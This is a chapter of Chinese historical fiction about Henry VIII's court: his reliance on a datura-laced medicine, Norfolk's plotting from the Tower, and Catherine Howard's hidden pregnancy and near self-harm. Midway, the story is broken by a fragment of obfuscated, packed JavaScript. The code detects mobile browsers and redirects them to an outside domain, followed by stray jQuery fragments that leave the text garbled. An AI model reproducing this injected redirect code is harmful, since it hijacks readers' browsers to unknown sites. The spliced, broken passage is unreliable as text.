格林威治宫的药味浓得化不开。亨利八世在龙床上辗转，痛风像烧红的刀子凿他的膝盖。玛丽公主的影子投在床帷上，她刚用拉丁文念完一段祷词，声音还悬在空气里。老御医捧来金碗，浓黑药汁上浮着几点油星——那是里士满新送来的“舒络蜜”浓缩剂，混着曼陀罗汁液。


    “喝了它，陛下。”玛丽的声音不容拒绝。


    亨利浑浊的眼珠扫过药碗。这几个月，只有这琥珀色的液体能短暂压住那蚀骨的疼。他粗粝的手指捏住碗沿，一饮而尽。苦涩直冲头顶，但很快，一股温热的麻木感从胃里扩散，包裹住剧痛的关节。他长长吐出一口带着酒气的叹息，身体沉进鹅绒垫。


    “诺福克……”他喉咙里滚出这个名字，像含着一块炭。


    “在伦敦塔最底层的黑牢里。”玛丽替他掖好被角，动作利落得像处理一块木头，“活着。”


    亨利闭着眼，嘴角抽动一下。活着就好。活着的诺福克是拴住霍华德残党的锁链，也是悬在西摩头顶的剑。他需要这把剑悬得久一点，直到他重新握紧权杖。


    门外响起谨慎的叩击。内侍总管佝偻着背进来，捧着一卷羊皮纸。“肯特郡葡萄园的契约，陛下。已按您的吩咐，送到里士满安娜夫人手上。”


    亨利没睁眼，只从鼻子里哼了一声。葡萄园？不过是给那女人的一点甜头，一根拴住她的绳子。她得待在里士满，安安分分地熬她的药。她的药和他的命一样重要。


    玛丽接过契约扫了一眼，蜡封完好。“她安分得很，父王。酒坊都歇了三成工。”


    “盯着她。”亨利吐出三个字，药力上涌，意识开始模糊，“还有……那个贱人……”他指的是凯瑟琳。


    “锁得死死的，一只苍蝇也飞不进她的寝宫。”玛丽声音冰冷。她比任何人都希望凯瑟琳死，但不是现在。父王需要这个筹码。


    ---


    伦敦塔地底的黑牢，连老鼠都嫌弃。诺福克公爵托马斯·霍华德蜷在霉烂的草堆上，听着头顶隐约传来的、泰晤士河上的钟声。黑暗里，只有他粗重的呼吸。


    铁门下方一个不起眼的缺口“咔哒”轻响，一个压扁的锡皮小酒壶塞了进来。老狱卒的咳嗽声在门外远去。诺福克扑过去，像饿狗扑食。他抠开壶底一层薄蜡，里面卷着一条细长的亚麻布条，上面用炭灰潦草地画着几个符号——霍华德家族的血誓密语。


    布条在他枯瘦的指间颤抖。符号的意思像冰锥扎进他眼底：**“巢中有卵。渡鸦已醒。”**


    “巢中有卵”——凯瑟琳肚子里真有货了！不是塞的布团，是卡尔佩珀那个小白脸播下的野种！“渡鸦已醒”——他最后的死士已经启动，像淬毒的短剑，藏在最深的阴影里。


    一股混杂着狂喜和恶毒的战栗窜遍诺福克全身。他喉咙里发出“嗬嗬”的怪笑，在死寂的牢房里格外瘆人。天不亡霍华德！那个愚蠢的□□，竟在绝境里怀上了唯一的筹码！这野种是毒药，也是解药！只要它活着生下来，再想办法染上金毛……他几乎能看到亨利那张因震怒和耻辱扭曲的脸！


    他咬破手指，用血在布条背面画下一个更狰狞的符号——一只展翅欲扑的渡鸦。他将布条塞回酒壶，狠狠敲了敲铁门。剩下的，就交给那些只认金子不认命的“渡鸦”了。杀爱德华，是给西摩和玛丽准备的葬礼焰火。至于凯瑟琳和她肚子里的东西……得活着！必须活着！


    ---


    里士满城堡的蒸馏房里，铜釜低鸣。安妮盯着冷凝管口，一滴、两滴……金红色的浓缩药液坠入琉璃瓶。空气里弥漫着柳树皮特有的苦涩和一丝不易察觉的甜腥——那是微量曼陀罗的味道。


    老约翰脚步无声地出现在门边，影子被炉火拉长。“夫人，伦敦的消息。‘渡鸦’在动。西摩家的马车连着三天半夜去了圣詹姆斯宫。”圣詹姆斯宫，是爱德华王子养病的地方。


    安妮的手稳稳地托着琉璃瓶。“人呢？”


    “盯死了。四个，生面孔，像泰晤士河上的水老鼠，眼神带钩子。”老约翰声音压得更低，“码头那边也加了双岗，胡椒狗夜里都不肯睡。”


    安妮盖上瓶塞，蜡封。“药加倍提纯的事，宫里察觉了？”


    “没有。格里夫斯倒了，新来的御医只当是药效更强了。陛下……离不了这个。”


    安妮把封好的药瓶放进铺着丝绒的橡木盒。亨利越依赖这药，里士满就越安全，但也越危险。她成了风暴眼里最脆弱的支点。


    “凯瑟琳那边？”


    “铁桶一般。但昨天……有个生脸的药材贩子，在宫后门跟守卫嘀咕了半天，递进去一个青瓷罐子，说是苏塞克斯郡新采的野蜂蜜，给王后安胎的。”老约翰眼中闪过精光，“罐子没扣霍华德的火漆。”


    安妮指尖轻轻敲着橡木盒。野蜂蜜？诺福克的女儿苏珊嫁在苏塞克斯……太巧了。霍华德家像受伤的毒蛇，在看不见的地方吐着信子。凯瑟琳的肚子，成了他们翻盘的唯一赌注。


    “那罐‘蜂蜜’……”安妮抬眼。


    “玛丽公主的人拦下了，正在查。”老约翰顿了顿，“听说凯瑟琳这两天吐得厉害，是真的吐。”


    蒸馏房里只剩下釜底柴火的噼啪声。安妮望向窗外沉沉的夜色。凯瑟琳腹中那个不被期待的生命，诺福克黑暗中放出的“渡鸦”，亨利药瘾般的依赖，西摩兄弟贪婪的窥伺……所有线头都在收紧。里士满的宁静，像暴风雨前最后的薄雾。


    “备船，”安妮忽然说，声音清冷，“明天一早，我亲自送这批药去格林威治。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155928|180550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >老约翰一怔：“夫人，这时候进宫……”


    “陛下需要药，”安妮打断他，目光落在琉璃瓶上那点温润的金红，“而他们，需要知道里士满的眼睛，一直睁着。” 送药是表忠，也是警告。她要站在风暴边缘，看清那柄悬在所有人头顶的剑何时落下。


    ---


    凯瑟琳·霍华德的寝殿死寂得像坟墓。厚重的天鹅绒窗帘隔绝了所有天光，昂贵香料的气味也压不住一股淡淡的酸腐气。她蜷缩在冰冷的四柱床深处，赤着脚，丝绸睡袍皱巴巴地裹在身上。怀里死死抱着一个枕头，指甲抠破了锦缎。


    “呕……”又是一阵毫无预兆的翻江倒海。她扑到床边，对着银盆干呕，只有酸苦的胆汁。这一次，不是格里夫斯那恶心的药水催的，是她自己的身体在造反。她瘫软在地毯上，冷汗浸透了鬓角。


    手颤抖着，轻轻覆上小腹。平坦依旧，但里面……那里似乎真的有什么东西在动？细微的、像小鱼吐了个泡泡。恐惧和一丝荒诞的、不该有的希望死死缠住她的心脏。是卡尔佩珀的……那个雨夜玫瑰廊下，他滚烫的手心，急促的呼吸……她猛地摇头，金发凌乱地黏在汗湿的脸上。


    不！这是诅咒！是魔鬼的玩笑！如果被父王知道……如果被玛丽那个女巫知道……她会被活剥了皮！


    门外传来沉重的铁靴踏步声，守卫在换岗。这声音每天像丧钟一样敲打她的神经。她爬到梳妆台前，铜镜里映出一张惨白浮肿、眼窝深陷的脸。曾经让亨利着迷的娇艳荡然无存，只剩下枯槁和惊恐。她哆嗦着拉开抽屉，里面藏着一小块锋利的、用来修剪烛芯的铜片。


    冰凉的铜片贴在手腕跳动的脉搏上。只要一下……一下就好……结束这无边的恐惧和耻辱……


    “殿下……”一个细如蚊蚋的声音，突然从厚重的窗帘后面传来！


    凯瑟琳浑身剧震，铜片“当啷”掉在地上。她惊恐地瞪大眼睛，死死捂住自己的嘴，才没尖叫出声。窗帘缝隙里，露出一只布满血丝、属于老妇人的眼睛。


    “苏珊……夫人？”凯瑟琳认出来了，是诺福克那个嫁给破落老男爵的、不起眼的女儿苏珊！她怎么会在这里？！


    那只眼睛眨了眨，声音急促得像耳语：“活着！为了您肚子里的孩子！为了霍华德！‘渡鸦’在看着！活下去！” 话音刚落，窗帘微微晃动，那只眼睛消失了。仿佛只是凯瑟琳绝望中的幻觉。


    寝殿重归死寂。凯瑟琳瘫坐在地，心脏狂跳得像要炸开。苏珊……“渡鸦”……活下去？她颤抖的手再次抚上小腹。这一次，那微弱的悸动感似乎更清晰了一点。


    她盯着地上那枚冰冷的铜片，看了很久很久。最终，她伸出脚，把它狠狠踢进了床底最深的黑暗里。她不能死。至少……现在不能。